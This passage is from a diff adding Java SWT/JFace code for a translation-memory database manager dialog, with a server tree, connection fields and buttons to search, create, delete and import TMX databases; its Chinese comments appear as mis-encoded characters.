SWT.BORDER); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblInstance")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + instanceText = new Text(parameterGroup, SWT.BORDER); + instanceText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + new Label(parameterGroup, SWT.NONE); + new Label(parameterGroup, SWT.NONE); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblLocation")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + locationText = new Text(parameterGroup, SWT.BORDER); + locationText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + borwserBtn = new Button(parameterGroup, SWT.NONE); + borwserBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 2, 1)); + borwserBtn.setText(Messages.getString("dialog.TmDbManagerDialog.borwserBtn")); + borwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + DirectoryDialog dlg = new DirectoryDialog(getShell()); + String path = dlg.open(); + if (path != null) { + locationText.setText(path); + } + } + }); + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblUsername")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + usernameText = new Text(parameterGroup, SWT.BORDER); + usernameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblPwd")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + passwordText = new Text(parameterGroup, SWT.BORDER | SWT.PASSWORD); + passwordText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Composite btnComposite = new Composite(parameterGroup, SWT.NONE); + btnComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 4, 1)); + GridLayout btnCompositeLayout = new GridLayout(1, false); + btnCompositeLayout.marginHeight = 0; + btnCompositeLayout.marginWidth = 0; + btnComposite.setLayout(btnCompositeLayout); + + // remenmberBtn = new Button(btnComposite, SWT.CHECK|SWT.BORDER); + // remenmberBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + // remenmberBtn.setText("将本次连接信æ¯æ·»åŠ åˆ°æ•°æ®åº“类型的快æ·è¿žæŽ¥æ–¹å¼(&R)"); + // remenmberBtn.setSelection(true); + + searchBtn = new Button(btnComposite, SWT.NONE); + + searchBtn.setText(Messages.getString("dialog.TmDbManagerDialog.searchBtn")); + searchBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), status.getMessage()); + return; + } + + SystemDBOperator sysDbOp = getCurrSysDbOp(); + if (sysDbOp == null) { + return; + } + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + return; + } + + // if (remenmberBtn.getSelection() == true) { + // 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨ + List currDbTypeServers = treeInputMap.get(getCurrDbType()); + if (currServer.getId().equals("")) { + addServerWithExistCheck(currServer, currDbTypeServers); + getTreeViewer().refresh(); + selectSaveItem(); // 在树上选择当å‰æ“作的节点 + } + + // ISelection selection = getTreeViewer().getSelection(); + // if (selection.isEmpty()) { + // return; + // } + // } else { // ä¸è®°ä½ä¿¡æ¯ + executeSearch(sysDbOp); + // } + } + }); + } + }); + + Group tableComposite = new Group(result, SWT.NONE); + tableComposite.setText(Messages.getString("dialog.TmDbManagerDialog.tableComposite")); + tableComposite.setLayout(new GridLayout(1, false)); + tableComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + dbTableViewer = new TableViewer(tableComposite, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE | SWT.H_SCROLL + | SWT.V_SCROLL); + + Table table = dbTableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 180; + table.setLayoutData(tableGd); + + createColumn(dbTableViewer); + if (getDialogUseFor() == TYPE_DBSELECTED) { + dbTableViewer.addDoubleClickListener(new IDoubleClickListener() { + + public void doubleClick(DoubleClickEvent event) { + okPressed(); + } + }); + } + + dbTableViewer.setContentProvider(new ArrayContentProvider()); + currServerdbListInput = new WritableList(currServerdbList, DatabaseManagerDbListBean.class); + dbTableViewer.setInput(currServerdbListInput); + + Composite composite = new Composite(tableComposite, SWT.NONE); + GridLayout gl_composite = new GridLayout(3, false); + gl_composite.marginHeight = 0; + gl_composite.marginWidth = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + + Button btnc = new Button(composite, SWT.NONE); + btnc.setText(Messages.getString("dialog.TmDbManagerDialog.btnc")); + btnc.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + createNewDatabase(); + } + }); + + Button btnd_1 = new Button(composite, SWT.NONE); + btnd_1.setText(Messages.getString("dialog.TmDbManagerDialog.btnd_1")); + btnd_1.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + if (MessageDialog.openConfirm(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg2"))) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + List needDeletes = structuredSelection.toList(); + SystemDBOperator dbop = getCurrSysDbOp(); + for (int i = 0; i < needDeletes.size(); i++) { + try { + String dbName = needDeletes.get(i).getDbName(); + dbop.dropDb(dbName); + dbop.removeSysDb(dbName); + } catch (Exception e1) { + logger.error(Messages.getString("dialog.TmDbManagerDialog.logger1"), e1); + MessageDialog.openError(getShell(), + Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg3") + e1.getMessage()); + break; + } + currServerdbListInput.remove(needDeletes.get(i)); + } + } + } + }); + } + }); + + Button importBtn = new Button(composite, SWT.NONE); + importBtn.setText(Messages.getString("dialog.TmDbManagerDialog.importBtn")); + importBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + MessageDialog.openError(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg4")); + return; + } + IStructuredSelection stcSel = (IStructuredSelection) selection; + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) stcSel.getFirstElement(); + DatabaseModelBean dbModelBean = new DatabaseModelBean(); + currServer.copyToOtherIntance(dbModelBean); + dbModelBean.setDbName(dbBean.getDbName()); + + ImportTmxWizard wizard = new ImportTmxWizard(dbModelBean); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(getShell(), wizard){ + // robert help 2012-09-06 + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 记忆库管ç†-导入TMX + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03.html#create-tm-wizard-import-tmx", language); + + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + }; + dlg.setHelpAvailable(true); + if (dlg.open() == 0) { + executeSearch(getCurrSysDbOp()); // é‡æ–°åŠ è½½å†…容 + } + } + }); + + Point searchPoint = searchBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point createPoint = btnc.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point remPoint = btnd_1.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point importPoint = importBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + int width = Math.max(importPoint.x, Math.max(remPoint.x, Math.max(searchPoint.x, createPoint.x))); + GridData btnData = new GridData(); + btnData.widthHint = width + 10; + btnc.setLayoutData(btnData); + btnd_1.setLayoutData(btnData); + importBtn.setLayoutData(btnData); + searchBtn.getLayoutData(); + GridData searchData = new GridData(SWT.RIGHT, SWT.CENTER, true, true, 4, 1); + searchData.widthHint = width + 10; + searchBtn.setLayoutData(searchData); + + scrolled.setContent(result); + scrolled.setMinSize(getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT)); + return result; + } + + /** + * 创建左侧树 + * @param parent + * the SWT parent for the tree area controls. + * @return the new Control. + */ + protected Control createTreeAreaContents(Composite parent) { + // Build the tree an put it into the composite. + treeViewer = createTreeViewer(parent); + treeViewer.setInput(treeInputMap); + updateTreeFont(JFaceResources.getDialogFont()); + layoutTreeAreaControl(treeViewer.getControl()); + initTreePopMenu(); + return treeViewer.getControl(); + } + + /** + * åˆå§‹åŒ–æ ‘å³é”®èœå• ; + */ + private void initTreePopMenu() { + MenuManager menuManager = new MenuManager(""); + menuManager.add(new Action(Messages.getString("dialog.TmDbManagerDialog.deleteAction")) { + @Override + public void run() { + ISelection selection = getTreeViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + List currDbTypeServers = treeInputMap.get(currDbType); + configer.deleteServerById(((DatabaseModelBean) obj).getId()); + int i = currDbTypeServers.indexOf(obj); + currDbTypeServers.remove(i); + getTreeViewer().refresh(); + // selectSaveItem(); + // setLastSelectedServer(null); + + if (currDbTypeServers.size() != 0) { + if (i > currDbTypeServers.size() - 1) { + setLastSelectedServer(currDbTypeServers.get(i - 1).getId()); + } else { + setLastSelectedServer(currDbTypeServers.get(i).getId()); + } + initUI(false); + } else { + setLastSelectedServer(null); + initUI(true); + } + selectSaveItem(); + + } + } + }); + Tree tree = treeViewer.getTree(); + this.treePopMenu = menuManager.createContextMenu(tree); + } + + /** + * @param control + * the Control to lay out. + */ + protected void layoutTreeAreaControl(Control control) { + GridData gd = new GridData(GridData.FILL_VERTICAL); + gd.widthHint = getLastRightWidth(); + gd.verticalSpan = 1; + control.setLayoutData(gd); + } + + /** + * Create a new TreeViewer. + * @param parent + * the parent Composite. + * @return the TreeViewer. + */ + protected TreeViewer createTreeViewer(Composite parent) { + final TreeViewer viewer = new TreeViewer(parent, SWT.BORDER); + addListeners(viewer); + viewer.setLabelProvider(new TreeLableProvider()); + viewer.setContentProvider(new TreeContentProvider()); + return viewer; + } + + /** + * Add Selection Listener to tree viewer + * @param viewer + * ; + */ + private void addListeners(final TreeViewer viewer) { + // 选择事件 + viewer.addPostSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + DatabaseModelBean bean = (DatabaseModelBean) obj; + setCurrDbType(bean.getDbType()); + bean.copyToOtherIntance(currServer); + SystemDBOperator dbop = getCurrSysDbOp(); + if (dbop != null) { + executeSearch(dbop); + } + initUI(false); // 当数æ®åº“类型å‘生改å˜æ—¶é‡æ–°åˆå§‹åŒ–ç•Œé¢ + + } else if (obj instanceof String) { + setCurrDbType((String) obj); + resetInputValue(); + currServerdbListInput.clear(); + initUI(true); + } + } + }); + // åŒå‡»å±•å¼€äº‹ä»¶ + ((Tree) viewer.getControl()).addSelectionListener(new SelectionAdapter() { + public void widgetDefaultSelected(final SelectionEvent event) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof String) { + String type = (String) obj; + boolean expanded = viewer.getExpandedState(type); + viewer.setExpandedState(type, !expanded); + } + } + }); + + // å³é”®èœå•äº‹ä»¶,判断何时出现å³é”®èœå• + viewer.getControl().addMenuDetectListener(new MenuDetectListener() { + public void menuDetected(MenuDetectEvent e) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + Tree tree = treeViewer.getTree(); + if (obj instanceof DatabaseModelBean) { + tree.setMenu(treePopMenu); // å°†èœå•æŒ‚到树上 + } else { + tree.setMenu(null); + } + } + }); + } + + /** + * 获å–当å‰æœåŠ¡å™¨æ“作对象 + * @return ; + */ + private SystemDBOperator getCurrSysDbOp() { + return DatabaseService.getSysDbOperateByMetaData(currServer.toDbMetaData()); + } + + /** + * Update the tree to use the specified Font. + * @param dialogFont + * the Font to use. + */ + protected void updateTreeFont(Font dialogFont) { + getTreeViewer().getControl().setFont(dialogFont); + } + + /** + * @return the TreeViewer for this dialog. + */ + public TreeViewer getTreeViewer() { + return treeViewer; + } + + /** + * @return The TableViewer for database list in dialog ; + */ + public TableViewer getDbTableViewer() { + return this.dbTableViewer; + } + + /** + * @return the need update to file server configure + */ + public List getNeedUpdateToFile() { + return this.needUpdateToFile; + } + + /** + * Create the sash with right control on the right. Note that this method assumes GridData for the layout data of + * the rightControl. + * @param composite + * @param rightControl + * @return Sash + */ + protected Sash createSash(final Composite composite, final Control rightControl) { + final Sash sash = new Sash(composite, SWT.VERTICAL); + sash.setLayoutData(new GridData(GridData.FILL_VERTICAL)); + sash.setBackground(composite.getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + // the following listener resizes the tree control based on sash deltas. + // If necessary, it will also grow/shrink the dialog. + sash.addListener(SWT.Selection, new Listener() { + /* + * (non-Javadoc) + * + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt. widgets.Event) + */ + public void handleEvent(Event event) { + if (event.detail == SWT.DRAG) { + return; + } + int shift = event.x - sash.getBounds().x; + GridData data = (GridData) rightControl.getLayoutData(); + int newWidthHint = data.widthHint + shift; + if (newWidthHint < 20) { + return; + } + Point computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + Point currentSize = getShell().getSize(); + // if the dialog wasn't of a custom size we know we can shrink + // it if necessary based on sash movement. + boolean customSize = !computedSize.equals(currentSize); + data.widthHint = newWidthHint; + setLastTreeWidth(newWidthHint); + composite.layout(true); + // recompute based on new widget size + computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + // if the dialog was of a custom size then increase it only if + // necessary. + if (customSize) { + computedSize.x = Math.max(computedSize.x, currentSize.x); + } + computedSize.y = Math.max(computedSize.y, currentSize.y); + if (computedSize.equals(currentSize)) { + return; + } + setShellSize(computedSize.x, computedSize.y); + lastShellSize = getShell().getSize(); + } + }); + return sash; + } + + /** + * Get the last known right side width. + * @return the width. + */ + protected int getLastRightWidth() { + return lastTreeWidth; + } + + /** + * Save the last known tree width. + * @param width + * the width. + */ + private void setLastTreeWidth(int width) { + lastTreeWidth = width; + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + /** + * Changes the shell size to the given size, ensuring that it is no larger than the display bounds. + * @param width + * the shell width + * @param height + * the shell height + */ + private void setShellSize(int width, int height) { + Rectangle preferred = getShell().getBounds(); + preferred.width = width; + preferred.height = height; + getShell().setBounds(getConstrainedShellBounds(preferred)); + } + + /** + * The TreeViewer label provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeLableProvider extends LabelProvider { + /** + * @param element + * must be an instance of IPreferenceNode. + * @see org.eclipse.jface.viewers.ILabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + if (element instanceof String) { + String dbType = (String) element; + if(dbType.equals(Constants.DBTYPE_MYSQL)){ + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)){ + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("dialog.db.recommend"); + } + return dbType; + } else { + DatabaseModelBean bean = (DatabaseModelBean) element; + StringBuffer urlStr = new StringBuffer(); + if (bean.getDbType().equals(Constants.DBTYPE_INTERNALDB) || bean.getDbType().equals(Constants.DBTYPE_SQLITE)) { + urlStr.append(bean.getItlDBLocation()); + } else { + urlStr.append(bean.getHost()); + urlStr.append(":"); + urlStr.append(bean.getPort()); + if (bean.getInstance() != null && !bean.getInstance().equals("")) { + urlStr.append("/"); + urlStr.append(bean.getInstance()); + } + } + return urlStr.toString(); + } + } + + /** + * @param element + * must be an instance of String or DatabaseModelBean. + * @see org.eclipse.jface.viewers.ILabelProvider#getImage(java.lang.Object) + */ + public Image getImage(Object element) { + if (element instanceof String) { + String dbtype = (String) element; + if (dbtype.equals(Constants.DBTYPE_INTERNALDB)) { + return internalDbImg; + } else if (dbtype.equals(Constants.DBTYPE_MYSQL)) { + return mySqlImg; + } else if (dbtype.equals(Constants.DBTYPE_MSSQL2005)) { + return sqlServerImg; + } else if (dbtype.equals(Constants.DBTYPE_POSTGRESQL)) { + return postgreImg; + } else if (dbtype.equals(Constants.DBTYPE_Oracle)) { + return oracleImg; + } else if (dbtype.equals(Constants.DBTYPE_SQLITE)) { + return sqliteImg; + } else { + return null; + } + } else if (element instanceof DatabaseModelBean) { + return ipImg; + } else { + return null; + } + } + } + + /** + * The TreeViewer content provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeContentProvider implements ITreeContentProvider { + + private Map> map; + + public void dispose() { + + } + + @SuppressWarnings("unchecked") + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + this.map = (Map>) newInput; + } + + public Object[] getElements(Object inputElement) { + List t = new ArrayList(map.keySet()); + int size = t.size(); + Object[] temp = new Object[size]; + if (t.contains(Constants.DBTYPE_INTERNALDB)) { + temp[size - 1] = Constants.DBTYPE_INTERNALDB; + } + if (t.contains(Constants.DBTYPE_MYSQL)) { + temp[size - 5] = Constants.DBTYPE_MYSQL; + } + if (t.contains(Constants.DBTYPE_MSSQL2005)) { + temp[size - 4] = Constants.DBTYPE_MSSQL2005; + } + if (t.contains(Constants.DBTYPE_POSTGRESQL)) { + temp[size - 2] = Constants.DBTYPE_POSTGRESQL; + } + if (t.contains(Constants.DBTYPE_Oracle)) { + temp[size - 3] = Constants.DBTYPE_Oracle; + } + if(t.contains(Constants.DBTYPE_SQLITE)){ + temp[0] = Constants.DBTYPE_SQLITE; + } + return temp; + } + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof String) { + String dbType = (String) parentElement; + List servers = map.get(dbType); + Collections.sort(servers, new Comparator() { + + public int compare(DatabaseModelBean o1, + DatabaseModelBean o2) { + return o1.getHost().compareTo(o2.getHost()); + } + }); + return servers.toArray(); + } + return null; + } + + public Object getParent(Object element) { + return null; + } + + public boolean hasChildren(Object element) { + if (element instanceof String) { + if (map.get(element).size() != 0) { + return true; + } + } + return false; + } + + } + + /** + * åˆå§‹åŒ–æ•°æ®ç»‘定 将界é¢ä¸ŽcurrServer进行绑定 + * @return ; + */ + protected void initDataBindings() { + DataBindingContext bindingContext = new DataBindingContext(); + + IObservableValue widgetValue = WidgetProperties.text(SWT.Modify).observe(instanceText); + final IObservableValue instanceModelValue = BeanProperties.value("instance").observe(currServer); + bindingContext.bindValue(widgetValue, instanceModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(hostText); + final IObservableValue hostModelValue = BeanProperties.value("host").observe(currServer); + bindingContext.bindValue(widgetValue, hostModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(portText); + final IObservableValue protModelValue = BeanProperties.value("port").observe(currServer); + bindingContext.bindValue(widgetValue, protModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(locationText); + final IObservableValue locationModelValue = BeanProperties.value("itlDBLocation").observe(currServer); + bindingContext.bindValue(widgetValue, locationModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(usernameText); + final IObservableValue usernameModelValue = BeanProperties.value("userName").observe(currServer); + bindingContext.bindValue(widgetValue, usernameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(passwordText); + final IObservableValue passwordModelValue = BeanProperties.value("password").observe(currServer); + bindingContext.bindValue(widgetValue, passwordModelValue, null, null); + + ViewerSupport.bind(dbTableViewer, currServerdbListInput, + BeanProperties.values(new String[] { "index", "dbName", "langs" })); + + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("dialog.TmDbManagerDialog.clmnTitles1"), + Messages.getString("dialog.TmDbManagerDialog.clmnTitles2"), + Messages.getString("dialog.TmDbManagerDialog.clmnTitles3") }; + int[] clmnBounds = { 50, 100, 100 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getIndex(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getLangs(); + } + }); + + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * 输入验è¯å™¨ ; + */ + private IStatus validator() { + String instance = currServer.getInstance(); + String host = currServer.getHost(); + String port = currServer.getPort(); + String location = currServer.getItlDBLocation(); + String username = currServer.getUserName(); + MetaData dbMetaData = dbMetaDataMap.get(currServer.getDbType()); + if (dbMetaData.dataPathSupported()) { + File f = new File(location); + if (location == null || location.trim().length() == 0) { + if (dbMetaData.getDbType().equals(Constants.DBTYPE_INTERNALDB)) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg5")); + } else if (dbMetaData.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg11")); + } + } else if (!f.exists()) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg12")); + } + } + if (dbMetaData.serverNameSupported()) { + if (host == null || host.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg6")); + } + } + if (dbMetaData.portSupported()) { + if (port == null || port.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg7")); + } + } + if (dbMetaData.userNameSupported()) { + if (username == null || username.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg8")); + } + } + + if (dbMetaData.instanceSupported()) { + if (instance == null || instance.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg9")); + } + } + + return ValidationStatus.ok(); + } + + /** + * 检查当å‰é…置是å¦å‘ç”Ÿäº†æ”¹å˜ + * @param list + * @param b + * @param metaData + * @return ; + */ + private DatabaseModelBean configIsChanged(List list, DatabaseModelBean b, MetaData metaData) { + for (int i = 0; i < list.size(); i++) { + DatabaseModelBean a = list.get(i); + if (a.getId().equals(b.getId())) { + if (metaData.dataPathSupported()) { + if (!a.getItlDBLocation().equals(b.getItlDBLocation())) { + return a; + } + } else { + if (!a.getHost().equals(b.getHost()) || !a.getPort().equals(a.getPort())) { + return a; + } + if (metaData.instanceSupported()) { + if (!a.getInstance().equals(b.getInstance())) { + return a; + } + } + if (metaData.userNameSupported()) { + if (!a.getUserName().equals(b.getUserName()) || !a.getPassword().equals(b.getPassword())) { + return a; + } + } + } + return null; + } + } + return null; + } + + /** + * 将当å‰æ“作的æœåŠ¡å™¨é…置信æ¯æ·»åŠ åˆ°é…置文件中
    + * 在添加å‰,先判断该æœåŠ¡å™¨æ˜¯å¦å·²ç»å­˜åœ¨,如果已ç»å­˜åœ¨åˆ™æ›´æ–° + * @param currServer + * 需è¦å¤„ç†çš„é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void addServerWithExistCheck(DatabaseModelBean currServer, List currDbTypeServers) { + DatabaseModelBean bean = currServer.copyToOtherIntance(new DatabaseModelBean()); + String existSerId = configer.isServerExist(bean, getCurrDbMetaData()); + if (existSerId != null && !existSerId.equals("")) { // 当å‰æœåŠ¡å™¨é…置信æ¯å·²ç»å­˜åœ¨ + + if (!bean.getId().equals(existSerId)) { + configer.deleteServerById(bean.getId()); + for (DatabaseModelBean temp : currDbTypeServers) { + if (temp.getId().equals(bean.getId())) { + currDbTypeServers.remove(temp); + break; + } + } + } + bean.setId(existSerId); + currServer.setId(existSerId); + updateServer(bean, currDbTypeServers); + + return; + } + configer.addServerConfig(bean); + currDbTypeServers.add(bean); + setLastSelectedServer(bean.getId()); + } + + /** + * 更新当å‰æ“作的æœåŠ¡å™¨é…置信æ¯åˆ°é…置文件中 + * @param currServer + * 需è¦å¤„ç†çš„æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void updateServer(DatabaseModelBean currServer, List currDbTypeServers) { + MetaData metaDataWithCheck = dbMetaDataMap.get(currServer.getDbType()); + DatabaseModelBean hasChanged = configIsChanged(currDbTypeServers, currServer, metaDataWithCheck); + if (hasChanged != null) { + currServer.copyToOtherIntance(hasChanged); + configer.updateServerConfigById(hasChanged.getId(), hasChanged); + } + setLastSelectedServer(currServer.getId()); + } + + /** + * 设置最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @param serverId + * ; + */ + private void setLastSelectedServer(String serverId) { + lastSelectedServerId = serverId; + } + + /** + * 获最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @return ; + */ + private String getLastSelectedServer() { + return lastSelectedServerId; + } + + /** + * 获å–当å‰æ“作的数æ®åº“类型 + * @return ; + */ + private String getCurrDbType() { + return currDbType; + } + + /** + * 设置当å‰æ“作的数æ®åº“类型 + * @param dbType + * 当å‰æ“作的数æ®åº“类型 ; + */ + private void setCurrDbType(String dbType) { + currDbType = dbType; + } + + /** + * 获å–当å‰æ•°æ®åº“ç±»åž‹çš„å…ƒæ•°æ® + * @return ; + */ + protected MetaData getCurrDbMetaData() { + return dbMetaDataMap.get(getCurrDbType()); + } + + /** + * 当选择数æ®åº“类型节点时,é‡ç½®æ‰€æœ‰è¾“å…¥ ; + */ + private void resetInputValue() { + MetaData metaData = dbMetaDataMap.get(getCurrDbType()); + currServer.setId(""); + currServer.setDbType(metaData.getDbType()); + + currServer.setItlDBLocation(""); + if (metaData.dataPathSupported()) { + currServer.setItlDBLocation(metaData.getDataPath()); + } + currServer.setHost(""); + if (metaData.serverNameSupported()) { + currServer.setHost(metaData.getServerName()); + } + currServer.setInstance(""); + if (metaData.instanceSupported()) { + currServer.setInstance(metaData.getInstance()); + } + + currServer.setPort(""); + if (metaData.portSupported()) { + currServer.setPort(metaData.getPort()); + } + currServer.setUserName(""); + if (metaData.userNameSupported()) { + currServer.setUserName(metaData.getUserName()); + } + + currServer.setPassword(""); + if (metaData.passwordSupported()) { + currServer.setPassword(metaData.getPassword()); + } + } + + /** + * æ ¹æ®å½“å‰æ“作ä¸åŒçš„æ•°æ®åº“类型,åˆå§‹åŒ–ç•Œé¢ ; + */ + private void initUI(boolean isAdd) { + MetaData curDbMetaData = 